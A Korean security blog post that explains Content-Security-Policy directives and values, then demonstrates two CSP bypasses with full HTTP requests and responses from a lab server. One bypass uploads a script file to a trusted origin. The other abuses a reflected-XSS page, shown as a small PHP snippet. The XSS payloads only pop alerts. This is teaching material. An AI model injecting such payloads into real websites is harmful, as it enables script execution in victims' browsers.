CSP(Contnet-Security-Policy)란
CSP(Contnet-Security-Policy)는 웹에서 사용되는 콘텐츠(이미지 태그, 스크립트 등)에 대한 정책으로 XSS와 같은 특정 유형의 공격을 감지하고 완화하는데 도움이 되는 보안 정책 입니다.
XSS 공격은 서버에서 받은 콘텐츠를 무조건적으로 신뢰하는 브라우저의 특성을 악용하여 악성 스크립트가 피해자의 브라우저에서 실행되도록 하는 공격입니다. 그런데 CSP를 사용하게 되면 브라우저가 신뢰할 수 있는 출처를 설정할 수 있어 신뢰되는 출처에서 수신받은 스크립트만을 실행하도록 하여 일부 XSS 공격을 방지할 수 있습니다. 또한, 모든 콘텐츠가 HTTPS를 이용하여 로드하도록 지정할 수도 있습니다.
과거에는 CSP로 사용되는 헤더들이 여러 개 존재했는데 현재는 W3C에서 지정한 "Content-Security-Policy"를 대부분 사용하고 있습니다.
CSP 사용 방법
CSP는 HTTP 헤더를 다음과 같이 구성하여 사용할 수 있습니다.
기본 구조
Content-Security-Policy: policy
사용되는 속성 정리
default-src : 모든 리소스에 대한 정책
script-src : 스크립트 태그에 대한 정책
img-src : 이미지 태그에 대한 정책
media-src : video 및 audio 태그에 대한 정책
frame-src : frame 태그에 대한 정책
report-uri : 정책 위반 사항이 나타났을 때 내용을 전달할 URL
사용되는 값 정리
none : 아무것도 일치하지 않음
self : 하위 도메인을 제외한 현재 출처와 일치함
unsafe-inline : 내부 javascript 및 CSS를 허용함
- "script-src 'nonce-111111'"의 경우 <script nonce='111111'>만 허용함
unsafe-eval : eval과 같은 특정 함수를 차단하지 않음
- eval()
- Function()
- window.setTimeout()
- window.setInterval()
- window.setImmediate()
- window.execScript
사용 예
1. 하위 도메인을 제외한 자체 출처의 콘텐츠만 사용 가능
Content-Security-Policy: default-src 'self'
2. 특정 도메인(trusted.com)의 콘텐츠만 사용 가능
Content-Security-Policy: default-src 'self' trusted.com
3. 특정 도메인(trusted.com)과 하위 도메인의 콘텐츠만 사용 가능
Content-Security-Policy: default-src 'self' trusted.com *.trusted.com
4. 특정 태그의 출처 제한
- img Tag는 모든 출처에서 사용 가능
- media 관련 Tag는 media.com 출처만 사용 가능
- script Tag는 userscripts.example.com 출처만 사용 가능
Content-Security-Policy: default-src 'self'; img-src *; media-src media.com; script-src userscripts.example.com
5. 공격자의 도청을 방지하기 위해 TLS를 사용할 경우에만 콘텐츠 사용 가능
Content-Security-Policy: default-src https://onlinebanking.jumbobank.com
6. 위반 사항이 발견될 경우 보고서 전달하도록 설정
Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi
CSP 우회 방법
CSP의 경우 어떻게 설정되어있냐에 따라서 이를 우회할 수 있는 방법이 달라집니다.
1. 신뢰하는 출처 내 파일 업로드를 이용한 우회
특정 도메인에 대한 출처가 허용된 CSP를 우회하는 가장 쉬운 방법은 신뢰되는 출처에 파일을 업로드 하는 것 입니다.
CSP Request 및 Response
GET /csp.php?vuln=<script>alert(123);</script> HTTP/1.1
Host: 10.41.80.155
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
HTTP/1.1 200 OK
Date: Wed, 15 Jun 2022 07:28:21 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Security-Policy: default-src 'self' 10.41.80.155:8080
Content-Length: 38
Connection: close
Content-Type: text/html; charset=UTF-8
Hellow CSP<script>alert(123);</script>
xss.txt
alert("Hack");
CSP Bypass Request 및 Response
GET /csp.php?vuln=<script src="http://10.41.80.155:8080/xss.txt"></script> HTTP/1.1
Host: 10.41.80.155
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
HTTP/1.1 200 OK
Date: Wed, 15 Jun 2022 07:30:39 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Security-Policy: default-src 'self' 10.41.80.155:8080
Content-Length: 66
Connection: close
Content-Type: text/html; charset=UTF-8
Hellow CSP<script src="http://10.41.80.155:8080/xss.txt"></script>
2. 신뢰되는 출처 내 사용자 입력 값 반영을 통한 우회
신뢰되는 출처 내 사용자 입력 값이 반영되는 페이지(Reflected XSS, jsonp)가 있을 경우 해당 페이지를 이용하여 CSP를 우회할 수 있습니다. 다만, 사용자의 입력 값이 맨 앞에 위치할 경우에만 가능한 것으로 파악하고 있습니다.
※ 더미 데이터가 앞에 위치한 경우에도 스크립트가 실행되도록 구문을 짤 수 있다면 상관 없음 (이건 제 실력 문제로..)
localhost/xss.php
<?ph
echo($_GET['xss']."<h1>Reflected XSS</h1>");
?>
CSP Bypass Request 및 Response
GET /csp.php?vuln=http://10.41.80.155/csp.php?vuln=<script src="http://localhost/xss.php?xss=alert('hack');//"></script> HTTP 1.1
Host: 10.41.80.155
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
HTTP/1.1 200 OK
Date: Wed, 15 Jun 2022 08:07:42 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Security-Policy: default-src 'self' localhost
Vary: Accept-Encoding
Content-Length: 79
Connection: close
Content-Type: text/html; charset=UTF-8
Hellow CSP<script src="http://localhost/xss.php?xss=alert('hack');//"></script>
Reference
'Hack > Web' 카테고리의 다른 글
Debugging 시 Jquery.js에서 무한으로 멈추는 문제 해결 방법 (Infinity Debgguer Paused) (0) | 2022.08.31 |
---|---|
CORS(Cross-Origin Resource Sharing) (0) | 2022.06.22 |
인증(Authentication)과 인가(Authorization)의 차이 (0) | 2022.06.02 |
Server Side XSS (Dynamic generated PDF) (0) | 2022.05.18 |
[CVE-2017-5487] WordPress REST API 1-Day 취약점 (0) | 2022.05.17 |
댓글